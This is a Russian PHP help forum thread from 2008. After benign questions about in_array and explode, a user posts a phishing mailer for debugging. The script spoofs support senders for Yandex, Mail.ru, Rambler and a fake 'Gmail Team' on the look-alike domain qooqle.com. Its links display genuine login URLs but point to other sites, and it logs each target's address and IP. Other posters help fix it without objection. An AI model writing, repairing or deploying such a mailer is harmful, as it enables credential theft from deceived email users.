что надо прописать чтобы рисунок повторялся до той степени пока не закончится текст возле него, но при этом текст в другой таблице!?

Воспользуйся циклом:
Конешно же перед этим зделай запрос к базе для вывода текста который необходим!
do {
printf ("(здесь переменая из масива с текстом)%s а здесь твоя картинка <img scr='её адрес'>", переменая из масива с текстом);
} while до тех пор пока есть текст в базе

m0Hze
16.12.2008, 19:57
Собственно,можно ли в elseif указать несколько значений переменной,тоесть(кусок)

elseif($email_domain[1] = 'google.com','google.ru','google.net')....

Тоесть если $email_domain[1] = одному из указаных значений,то будет происходить блаблабла...??Или как правильно ето указать?

.:EnoT:.
16.12.2008, 20:01
нельзя.
можно вот так:
elseif($email_domain[1] == 'google.com' || $email_domain[1] == 'google.ru' || $email_domain[1] == 'google.net')

groundhog
16.12.2008, 20:01
Твой варивант не верный, используй in_array:

if (in_array($email_domain[1], array('google.com','google.ru','google.net'))) ...

m0Hze
16.12.2008, 20:09
Твой варивант не верный, используй in_array:

не работает.А в массив мне заносить нелььзя никак Ж(

m0Hze
16.12.2008, 20:11
Извиняюсь все работает,имя переменной было не верно Ж) спасиба

m0Hze
16.12.2008, 21:20
хм, есть переменная

$who = "yandex@yandex.ru;"

Нужно выдрать домен,и записать его например в
$email_domain = "yandex.ru";
Подскажите как.Имя могу выдернуть,а вот с доменов чтото не выходит =)

Kaimi
16.12.2008, 21:29
yandex@bk.ru, а домен при этом ты считаешь яндекс?

m0Hze
16.12.2008, 21:30
ой соре,очапятка вылезла =)
Домен яндекс,а не бк. Как с помощью пред_мач вытащить?

Kaimi
16.12.2008, 21:37
Тебе обязательно preg_match ?
В твоем примере проще explode заюзать

m0Hze
16.12.2008, 21:39
$who = "dada@yandex.ru";
$email_domain=explode("@",$who);
$email_domain=$email_domain[1];

такой вариант почимута не пашет.Выводит в браузер букву a :)

ntldr
16.12.2008, 21:43
$who = "dada@yandex.ru";
explode("@",$who);
$email_domain=$who[1];

А лучше так

m0Hze
16.12.2008, 21:53
Выводит "а"
Неработает,и старый,ни новый вариант.

Kaimi
16.12.2008, 21:56
$who = "dada@yandex.ru";
list($name,$domain) = explode('@', $who);

print $domain;

m0Hze
16.12.2008, 22:10
Намуливал скрипт,для своего удобства,с помощью ачата =)
Но почимуто не отправляет письма =( обидно блин.Посмотите,где я ошибся то...если не сложно.

<form method = "POST">

<font size = 2>Ящик:<br></font>
<input type = "text"
name = "who"
value = "">
<br>
Имя владельца.:
<br>
<input type = "text"
name = "nick"
value = "">
<br>
<input type = "submit"
value = "Отправляем!">
</center>
</form>
<?
preg_match('#(.+)@#',$who,$m);
list($name,$domain1) = explode('@', $who);
$date_today = date("d.m.y");
$ip = $_SERVER['REMOTE_ADDR'];
if(in_array($domain1, array('support','help','admin','abuse','soft','mai l','administrator','info'))){
{
echo '<center><font color = "red" size = "4">На эти адреса отправка невозможна.</font>';
die();
}
}else{
{
$topic = file_get_contents('topic.txt');
$message = file_get_contents('all.txt');
if($domain1 = 'yandex.ru'){
{
$url = "<a href = \"http://mysite.ru/?start=unblocked&2008$dig\">http://passport.yandex.ru/cgi-bin/?start=unblocked&2008$dig</a>";
$from = "Yandex.Support <support@corp.yandex.ru>";
$company = "Яндекс.Ру";
}
}elseif(in_array($domain1, array('mail.ru','bk.ru','list.ru','inbox.ru'))){
{
$url = "<a href = \"http://mysite2.ru/cqi-bin/?start=unblocked&2008$dig\">http://win.mail.ru/cgi-bin/?start=unblocked&2008$dig</a>";
$from = "Support@Mail.Ru < support@support.mail.ru>";
$company = "@Mail.Ru";
}
}elseif($domain1 = 'rambler.ru'){
{
$url = "Сервис недоступен";
$from = "Support@Rambler.ru <support@corp.rambler.ru>";
$company = "@Rambler.Ru";
}
}elseif($domain1 = 'bigmir.net'){
{
$url = "Сервис недоступен";
$from = "Support@Bigmir.ru <support@corp.bigmir.net>";
$company = "@Bigmir.Net";
}
}elseif(in_array($domain1, array('gmail.com','gmail.ru','gmail.net'))){
{
$topic = file_get_content(g_t.txt);
$from = "Gmail Team <mail-noreply@qooqle.com>";
$company = "Gmail Team";
$message = file_get_contents('google.txt');
}
}else{
{
echo '<font color = "red" size = "20">Данный почтовый сервис не поддерживаеться системой</font>';
die();
}
}

$fp = fopen("logs.php","a"); //открыть файл
fwrite($fp, "Кому: $who IP: $ip Время: $today \n <br>"); //записываем данные
fclose($fp); //закрываем
//Записываем
$dig = rand(100000000000,999999999999);
//Случайное число
$headers = "From:".$from."\r\nReply-To:".$from."\r\n";
$headers .= "MIME-Version:1.0\r\n";
$headers .= "Content-Type: text/html;";
$body .= $message."\r\n\r\n";
mail($email, $topic, $body, $headers);
//Отправляем
}
}
echo '</center></body></html>';
?>

m0Hze
16.12.2008, 22:12
Cj,cndtyyj ошибки пыхыпы не кажет,но и письма не отправляет.Если вы не найдете ошибку,то значит все дело в другом,и я даже догадываюсь в чем...

m0Hze
16.12.2008, 22:22
Может фалы нужные создаш?Чет у тебя совсем стремный сервер.В тех строках в которых у тебя пишет нет ошибок.

m0Hze
16.12.2008, 22:23
Он у тея чтото про переменные вякает.С нми все норм.Смотри на другом сервере...

159932
16.12.2008, 22:24
ошибок нет
это был сарказм ? ошибок ведь действительно нет .. а неопределённые переменные, и то, что у тебя нет файлов - имхо, это не ошибки ..
лучше конечно всё определять итд.. но если впадлу, то моно и этого не далать :D

m0Hze
16.12.2008, 22:34
НЕ понятно слово "конкатенацию"
Но елси тот же скрипт отправки юзать в просто скрипте,где все дано и вписано(я имею ввиду основные переменные) то все пучком.А именно в моем нихера.Работает только функция отделения имени,и опредедения заперещенных имен ящико(админ,супорт,ит.д.)

m0Hze
16.12.2008, 22:37
Вот думаю сейчас,попробывать все это дело переписать под switch, v;tn тогда попрет?)